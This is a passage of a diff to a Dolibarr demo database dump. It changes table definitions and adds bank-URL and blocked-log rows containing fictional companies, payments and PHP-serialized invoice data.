`fk_bank` int(11) DEFAULT NULL, `url_id` int(11) DEFAULT NULL, - `url` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `type` varchar(24) COLLATE utf8mb3_unicode_ci NOT NULL, + `url` varchar(255) DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `type` varchar(24) NOT NULL, PRIMARY KEY (`rowid`), - UNIQUE KEY `uk_bank_url` (`fk_bank`,`url_id`,`type`) -) ENGINE=InnoDB AUTO_INCREMENT=99 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; + UNIQUE KEY `uk_bank_url` (`fk_bank`,`url_id`,`type`), + KEY `idx_bank_url_url_id` (`url_id`) +) ENGINE=InnoDB AUTO_INCREMENT=109 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -1258,7 +907,7 @@ CREATE TABLE `llx_bank_url` ( LOCK TABLES `llx_bank_url` WRITE; /*!40000 ALTER TABLE `llx_bank_url` DISABLE KEYS */; -INSERT INTO `llx_bank_url` VALUES (4,5,2,'/comm/card.php?socid=','Belin SARL','company'),(5,6,3,'/compta/paiement/card.php?id=','(paiement)','payment'),(6,6,2,'/comm/card.php?socid=','Belin SARL','company'),(9,8,5,'/compta/paiement/card.php?id=','(paiement)','payment'),(10,8,7,'/comm/card.php?socid=','Generic customer','company'),(17,12,4,'/compta/payment_sc/card.php?id=','(paiement)','payment_sc'),(18,12,4,'/compta/charges.php?id=','Assurance Chomage (fff)','sc'),(19,13,6,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(20,13,7,'/dolibarrnew/comm/card.php?socid=','Generic customer','company'),(21,14,8,'/compta/paiement/card.php?id=','(paiement)','payment'),(22,14,2,'/comm/card.php?socid=','Belin SARL','company'),(23,15,9,'/compta/paiement/card.php?id=','(paiement)','payment'),(24,15,10,'/comm/card.php?socid=','Smith Vick','company'),(25,16,17,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(26,16,10,'/dolibarrnew/comm/card.php?socid=','Smith Vick','company'),(27,17,18,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(28,17,10,'/dolibarrnew/comm/card.php?socid=','Smith Vick','company'),(29,18,19,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(30,18,10,'/dolibarrnew/comm/card.php?socid=','Smith Vick','company'),(31,19,20,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(32,19,10,'/dolibarrnew/comm/card.php?socid=','Smith Vick','company'),(33,20,21,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(34,20,10,'/dolibarrnew/comm/card.php?socid=','Smith Vick','company'),(35,21,23,'/compta/paiement/card.php?id=','(paiement)','payment'),(36,21,1,'/comm/card.php?socid=','ABC and Co','company'),(37,22,24,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(38,22,12,'/dolibarrnew/comm/card.php?socid=','Dupont Alain','company'),(39,23,25,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(40,23,10,'/dolibarrnew/comm/card.php?socid=','Smith Vick','company'),(41,24,26,'/compta/paiement/card.php?id=','(paiement)','payment'),(42,24,1,'/comm/card.php?socid=','ABC and Co','company'),(45,26,29,'/compta/paiement/card.php?id=','(paiement)','payment'),(46,26,1,'/comm/card.php?socid=','ABC and Co','company'),(47,27,30,'/compta/paiement/card.php?id=','(paiement)','payment'),(48,27,1,'/comm/card.php?socid=','ABC and Co','company'),(49,28,32,'/dolibarr_new/compta/paiement/card.php?id=','(paiement)','payment'),(50,28,1,'/dolibarr_new/comm/card.php?socid=','ABC and Co','company'),(51,29,33,'/dolibarr_new/compta/paiement/card.php?id=','(paiement)','payment'),(52,29,1,'/dolibarr_new/comm/card.php?socid=','ABC and Co','company'),(53,30,1,'/dolibarr_3.8/htdocs/fourn/paiement/card.php?id=','(paiement)','payment_supplier'),(54,30,1,'/dolibarr_3.8/htdocs/fourn/card.php?socid=','Indian SAS','company'),(55,32,2,'/dolibarr_5.0/htdocs/fourn/paiement/card.php?id=','(paiement)','payment_supplier'),(56,32,13,'/dolibarr_5.0/htdocs/fourn/card.php?socid=','Company Corp 2','company'),(57,33,34,'/dolibarr_5.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(58,33,19,'/dolibarr_5.0/htdocs/comm/card.php?socid=','Magic Food Store','company'),(59,34,35,'/dolibarr_5.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(60,34,19,'/dolibarr_5.0/htdocs/comm/card.php?socid=','Magic Food Store','company'),(63,36,2,'/dolibarr_5.0/htdocs/expensereport/payment/card.php?rowid=','(paiement)','payment_expensereport'),(64,36,12,'/dolibarr_5.0/htdocs/user/card.php?id=','','user'),(65,37,36,'/dolibarr_5.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(66,37,1,'/dolibarr_5.0/htdocs/compta/prelevement/card.php?id=','T170201','withdraw'),(67,38,1,'/dolibarr_6.0/htdocs/don/payment/card.php?rowid=','(paiement)','payment_donation'),(68,39,38,'/dolibarr_7.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(69,39,1,'/dolibarr_7.0/htdocs/comm/card.php?socid=','Indian SAS','company'),(72,41,39,'/dolibarr_10.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(73,41,1,'/dolibarr_10.0/htdocs/comm/card.php?socid=','Indian SAS','company'),(74,42,1,'/dolibarr_10.0/htdocs/salaries/card.php?id=','(SalaryPayment)','payment_salary'),(75,42,19,'/dolibarr_10.0/htdocs/user/card.php?id=','Alex Boston','user'),(76,43,6,'/dolibarr_11.0/htdocs/compta/payment_sc/card.php?id=','(paiement)','payment_sc'),(77,43,6,'/dolibarr_11.0/htdocs/compta/charges.php?id=','Assurance Chomage (gdfgdf)','sc'),(78,44,7,'/dolibarr_11.0/htdocs/compta/payment_sc/card.php?id=','(paiement)','payment_sc'),(79,44,6,'/dolibarr_11.0/htdocs/compta/charges.php?id=','Assurance Chomage (gdfgdf)','sc'),(84,47,4,'/dolibarr_11.0/htdocs/fourn/paiement/card.php?id=','(paiement)','payment_supplier'),(85,47,17,'/dolibarr_11.0/htdocs/fourn/card.php?socid=','Book Keeping Company','company'),(86,48,2,'/dolibarr_11.0/htdocs/custom/cabinetmed/consultations.php?action=edit&socid=29&id=','Consultation','consultation'),(87,48,29,'','Patient','company'),(88,49,4,'/dolibarr_11.0/htdocs/compta/bank/various_payment/card.php?id=','(VariousPayment)','payment_various'),(89,50,40,'/dolibarr_11.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(90,50,19,'/dolibarr_11.0/htdocs/comm/card.php?socid=','Magic Food Store','company'),(91,51,3,'/dolibarr_11.0/htdocs/adherents/card.php?rowid=','doe john','member'),(92,52,4,'/dolibarr_11.0/htdocs/adherents/card.php?rowid=','smith smith','member'),(93,53,41,'/dolibarr_11.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(94,53,12,'/dolibarr_11.0/htdocs/comm/card.php?socid=','Dupont Alain','company'),(95,54,42,'/dolibarr_11.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(96,54,12,'/dolibarr_11.0/htdocs/comm/card.php?socid=','Dupont Alain','company'),(97,55,43,'/dolibarr_11.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(98,55,12,'/dolibarr_11.0/htdocs/comm/card.php?socid=','Dupont Alain','company'); +INSERT INTO `llx_bank_url` VALUES (4,5,2,'/comm/card.php?socid=','Belin SARL','company'),(5,6,3,'/compta/paiement/card.php?id=','(paiement)','payment'),(6,6,2,'/comm/card.php?socid=','Belin SARL','company'),(9,8,5,'/compta/paiement/card.php?id=','(paiement)','payment'),(10,8,7,'/comm/card.php?socid=','Generic customer','company'),(17,12,4,'/compta/payment_sc/card.php?id=','(paiement)','payment_sc'),(18,12,4,'/compta/charges.php?id=','Assurance Chomage (fff)','sc'),(19,13,6,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(20,13,7,'/dolibarrnew/comm/card.php?socid=','Generic customer','company'),(21,14,8,'/compta/paiement/card.php?id=','(paiement)','payment'),(22,14,2,'/comm/card.php?socid=','Belin SARL','company'),(23,15,9,'/compta/paiement/card.php?id=','(paiement)','payment'),(24,15,10,'/comm/card.php?socid=','Smith Vick','company'),(25,16,17,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(26,16,10,'/dolibarrnew/comm/card.php?socid=','Smith Vick','company'),(27,17,18,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(28,17,10,'/dolibarrnew/comm/card.php?socid=','Smith Vick','company'),(29,18,19,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(30,18,10,'/dolibarrnew/comm/card.php?socid=','Smith Vick','company'),(31,19,20,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(32,19,10,'/dolibarrnew/comm/card.php?socid=','Smith Vick','company'),(33,20,21,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(34,20,10,'/dolibarrnew/comm/card.php?socid=','Smith Vick','company'),(35,21,23,'/compta/paiement/card.php?id=','(paiement)','payment'),(36,21,1,'/comm/card.php?socid=','ABC and Co','company'),(37,22,24,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(38,22,12,'/dolibarrnew/comm/card.php?socid=','Dupont Alain','company'),(39,23,25,'/dolibarrnew/compta/paiement/card.php?id=','(paiement)','payment'),(40,23,10,'/dolibarrnew/comm/card.php?socid=','Smith Vick','company'),(41,24,26,'/compta/paiement/card.php?id=','(paiement)','payment'),(42,24,1,'/comm/card.php?socid=','ABC and Co','company'),(45,26,29,'/compta/paiement/card.php?id=','(paiement)','payment'),(46,26,1,'/comm/card.php?socid=','ABC and Co','company'),(47,27,30,'/compta/paiement/card.php?id=','(paiement)','payment'),(48,27,1,'/comm/card.php?socid=','ABC and Co','company'),(49,28,32,'/dolibarr_new/compta/paiement/card.php?id=','(paiement)','payment'),(50,28,1,'/dolibarr_new/comm/card.php?socid=','ABC and Co','company'),(51,29,33,'/dolibarr_new/compta/paiement/card.php?id=','(paiement)','payment'),(52,29,1,'/dolibarr_new/comm/card.php?socid=','ABC and Co','company'),(53,30,1,'/dolibarr_3.8/htdocs/fourn/paiement/card.php?id=','(paiement)','payment_supplier'),(54,30,1,'/dolibarr_3.8/htdocs/fourn/card.php?socid=','Indian SAS','company'),(55,32,2,'/dolibarr_5.0/htdocs/fourn/paiement/card.php?id=','(paiement)','payment_supplier'),(56,32,13,'/dolibarr_5.0/htdocs/fourn/card.php?socid=','Company Corp 2','company'),(57,33,34,'/dolibarr_5.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(58,33,19,'/dolibarr_5.0/htdocs/comm/card.php?socid=','Magic Food Store','company'),(59,34,35,'/dolibarr_5.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(60,34,19,'/dolibarr_5.0/htdocs/comm/card.php?socid=','Magic Food Store','company'),(63,36,2,'/dolibarr_5.0/htdocs/expensereport/payment/card.php?rowid=','(paiement)','payment_expensereport'),(64,36,12,'/dolibarr_5.0/htdocs/user/card.php?id=','','user'),(65,37,36,'/dolibarr_5.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(66,37,1,'/dolibarr_5.0/htdocs/compta/prelevement/card.php?id=','T170201','withdraw'),(67,38,1,'/dolibarr_6.0/htdocs/don/payment/card.php?rowid=','(paiement)','payment_donation'),(68,39,38,'/dolibarr_7.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(69,39,1,'/dolibarr_7.0/htdocs/comm/card.php?socid=','Indian SAS','company'),(72,41,39,'/dolibarr_10.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(73,41,1,'/dolibarr_10.0/htdocs/comm/card.php?socid=','Indian SAS','company'),(74,42,1,'/dolibarr_10.0/htdocs/salaries/card.php?id=','(SalaryPayment)','payment_salary'),(75,42,19,'/dolibarr_10.0/htdocs/user/card.php?id=','Alex Boston','user'),(76,43,6,'/dolibarr_11.0/htdocs/compta/payment_sc/card.php?id=','(paiement)','payment_sc'),(77,43,6,'/dolibarr_11.0/htdocs/compta/charges.php?id=','Assurance Chomage (gdfgdf)','sc'),(78,44,7,'/dolibarr_11.0/htdocs/compta/payment_sc/card.php?id=','(paiement)','payment_sc'),(79,44,6,'/dolibarr_11.0/htdocs/compta/charges.php?id=','Assurance Chomage (gdfgdf)','sc'),(84,47,4,'/dolibarr_11.0/htdocs/fourn/paiement/card.php?id=','(paiement)','payment_supplier'),(85,47,17,'/dolibarr_11.0/htdocs/fourn/card.php?socid=','Book Keeping Company','company'),(86,48,2,'/dolibarr_11.0/htdocs/custom/cabinetmed/consultations.php?action=edit&socid=29&id=','Consultation','consultation'),(87,48,29,'','Patient','company'),(88,49,4,'/dolibarr_11.0/htdocs/compta/bank/various_payment/card.php?id=','(VariousPayment)','payment_various'),(89,50,40,'/dolibarr_11.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(90,50,19,'/dolibarr_11.0/htdocs/comm/card.php?socid=','Magic Food Store','company'),(91,51,3,'/dolibarr_11.0/htdocs/adherents/card.php?rowid=','doe john','member'),(92,52,4,'/dolibarr_11.0/htdocs/adherents/card.php?rowid=','smith smith','member'),(93,53,41,'/dolibarr_11.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(94,53,12,'/dolibarr_11.0/htdocs/comm/card.php?socid=','Dupont Alain','company'),(95,54,42,'/dolibarr_11.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(96,54,12,'/dolibarr_11.0/htdocs/comm/card.php?socid=','Dupont Alain','company'),(97,55,43,'/dolibarr_11.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(98,55,12,'/dolibarr_11.0/htdocs/comm/card.php?socid=','Dupont Alain','company'),(99,56,4,'/dolibarr_17.0/htdocs/salaries/payment_salary/card.php?id=','(paiement)','payment_salary'),(100,56,4,'/dolibarr_17.0/htdocs/user/card.php?id=','Bob Bookkeeper','user'),(101,57,45,'/dolibarr_17.0/htdocs/compta/paiement/card.php?id=','(paiement)','payment'),(102,57,1,'/dolibarr_17.0/htdocs/comm/card.php?socid=','Indian SAS','company'),(103,58,1,'/dolibarr_17.0/htdocs/loan/payment/card.php?id=','(payment)','payment_loan'),(104,58,3,'/dolibarr_17.0/htdocs/loan/card.php?id=','aaaa','loan'),(105,59,2,'/dolibarr_17.0/htdocs/loan/payment/card.php?id=','(payment)','payment_loan'),(106,59,3,'/dolibarr_17.0/htdocs/loan/card.php?id=','aaaa','loan'),(107,61,3,'/dolibarr_17.0/htdocs/loan/payment/card.php?id=','(payment)','payment_loan'),(108,61,3,'/dolibarr_17.0/htdocs/loan/card.php?id=','aaaa','loan'); /*!40000 ALTER TABLE `llx_bank_url` ENABLE KEYS */; UNLOCK TABLES; @@ -1272,21 +921,21 @@ DROP TABLE IF EXISTS `llx_blockedlog`; CREATE TABLE `llx_blockedlog` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `action` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `action` varchar(50) DEFAULT NULL, `amounts` double(24,8) DEFAULT NULL, - `signature` varchar(100) COLLATE utf8mb3_unicode_ci NOT NULL, - `signature_line` varchar(100) COLLATE utf8mb3_unicode_ci NOT NULL, - `element` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `signature` varchar(100) NOT NULL, + `signature_line` varchar(100) NOT NULL, + `element` varchar(50) DEFAULT NULL, `fk_object` int(11) DEFAULT NULL, - `ref_object` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_object` varchar(255) DEFAULT NULL, `date_object` datetime DEFAULT NULL, - `object_data` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `object_data` mediumtext DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, `certified` int(11) DEFAULT NULL, `date_creation` datetime DEFAULT NULL, - `user_fullname` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `object_version` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT '', + `user_fullname` varchar(255) DEFAULT NULL, + `object_version` varchar(32) DEFAULT '', PRIMARY KEY (`rowid`), KEY `signature` (`signature`), KEY `fk_object_element` (`fk_object`,`element`), @@ -1294,7 +943,7 @@ CREATE TABLE `llx_blockedlog` ( KEY `fk_user` (`fk_user`), KEY `entity_action` (`entity`,`action`), KEY `entity_action_certified` (`entity`,`action`,`certified`) -) ENGINE=InnoDB AUTO_INCREMENT=61 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=72 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -1303,7 +952,7 @@ CREATE TABLE `llx_blockedlog` ( LOCK TABLES `llx_blockedlog` WRITE; /*!40000 ALTER TABLE `llx_blockedlog` DISABLE KEYS */; -INSERT INTO `llx_blockedlog` VALUES (20,'2018-03-16 09:57:22','MODULE_RESET',0.00000000,'d6dd5fe6c2eec2de6368f3b6da30188566f0a1a7be4b1589ccd8352d2c827ad5','fbc11d0396d9b76ea48f892bd5f0fe652e5bdf7d44873acb4bf1e1b70352bd30','module',1,'systemevent','2018-03-16 13:57:22','O:8:\"stdClass\":6:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:10:\"name_alias\";N;s:7:\"address\";s:24:\"21 Jump street..ll..ee \"\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";N;s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:1:\"1\";s:7:\"idprof3\";s:1:\"1\";s:7:\"idprof4\";s:1:\"1\";s:7:\"idprof5\";s:1:\"1\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:9:\"FR1234567\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";s:4:\"name\";s:12:\"MyBigCompany\";}s:2:\"id\";i:1;s:7:\"element\";s:6:\"module\";s:3:\"ref\";s:11:\"systemevent\";s:6:\"entity\";i:1;s:4:\"date\";i:1521194242;}',12,1,0,'2018-03-16 13:57:22','Alice Adminson',''),(21,'2018-03-16 09:57:24','MODULE_SET',0.00000000,'d6b66df837d8d33bd8b9744e2afa46ab8c65ae8ca462246c406de19f8254e146','0a3aae975056417705f4eb7b4a4926384075cc2b6c899603715643c8f1d6ff9b','module',1,'systemevent','2018-03-16 13:57:24','O:8:\"stdClass\":6:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:10:\"name_alias\";N;s:7:\"address\";s:24:\"21 Jump street..ll..ee \"\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";N;s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:1:\"1\";s:7:\"idprof3\";s:1:\"1\";s:7:\"idprof4\";s:1:\"1\";s:7:\"idprof5\";s:1:\"1\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:9:\"FR1234567\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";s:4:\"name\";s:12:\"MyBigCompany\";}s:2:\"id\";i:1;s:7:\"element\";s:6:\"module\";s:3:\"ref\";s:11:\"systemevent\";s:6:\"entity\";i:1;s:4:\"date\";i:1521194244;}',12,1,0,'2018-03-16 13:57:24','Alice Adminson',''),(22,'2018-03-16 09:59:31','PAYMENT_CUSTOMER_CREATE',10.00000000,'9beb9e3ba04582d441b49f176f995900c16572c789bcf48a1c9f285a74be76c8','86813eb2563252c0e270baaf1fffade82475fe51af5f88d14613005fd0e07783','payment',38,'PAY1803-0004','2018-03-16 12:00:00','O:8:\"stdClass\":8:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:10:\"name_alias\";N;s:7:\"address\";s:24:\"21 Jump street..ll..ee \"\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";N;s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:1:\"1\";s:7:\"idprof3\";s:1:\"1\";s:7:\"idprof4\";s:1:\"1\";s:7:\"idprof5\";s:1:\"1\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:9:\"FR1234567\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";s:4:\"name\";s:12:\"MyBigCompany\";}s:3:\"ref\";s:12:\"PAY1803-0004\";s:4:\"date\";i:1521187200;s:9:\"type_code\";s:3:\"CHQ\";s:11:\"payment_num\";N;s:4:\"note\";s:0:\"\";s:12:\"payment_part\";a:1:{i:1;O:8:\"stdClass\":3:{s:6:\"amount\";s:2:\"10\";s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";s:4:\"name\";s:10:\"Indian SAS\";}s:7:\"invoice\";O:8:\"stdClass\":9:{s:4:\"date\";i:1453147200;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";s:11:\"20.00000000\";s:9:\"total_tva\";s:10:\"1.80000000\";s:9:\"total_ttc\";s:11:\"23.60000000\";s:12:\"revenuestamp\";s:10:\"0.00000000\";s:3:\"ref\";s:11:\"FA1601-0024\";s:11:\"note_public\";N;}}}s:6:\"amount\";i:10;}',12,1,0,'2018-03-16 13:59:31','Alice Adminson',''),(23,'2019-09-26 15:33:37','BILL_VALIDATE',43.58000000,'6a1e049c00f51afa6eaca799e6281bd8abfdaa12bdf42ee2a002b0bec588a2a5','451b12ea66d25259c9c1df9993a902affe124c9f27c97093613cf7184fe388aa','facture',218,'FA1909-0025','2019-09-26 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:24:\"21 Jump street..ll..ee \"\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";N;s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1569448800;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";d:42.5;s:9:\"total_tva\";d:1.08;s:9:\"total_ttc\";d:43.58;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:5:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";s:9:\"DOLICLOUD\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:10:\"9.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:10:\"9.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"1\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:10:\"9.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"9.00000000\";s:9:\"info_bits\";s:1:\"0\";}i:2;O:8:\"stdClass\":17:{s:3:\"ref\";s:9:\"DOLIDROID\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:10:\"5.50000000\";s:23:\"multicurrency_total_tva\";s:10:\"1.08000000\";s:23:\"multicurrency_total_ttc\";s:10:\"6.58000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:6:\"19.600\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:10:\"5.50000000\";s:9:\"total_tva\";s:10:\"1.08000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"6.58000000\";s:9:\"info_bits\";s:1:\"0\";}i:3;O:8:\"stdClass\":17:{s:3:\"ref\";s:9:\"DOLICLOUD\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:10:\"9.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:10:\"9.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"1\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\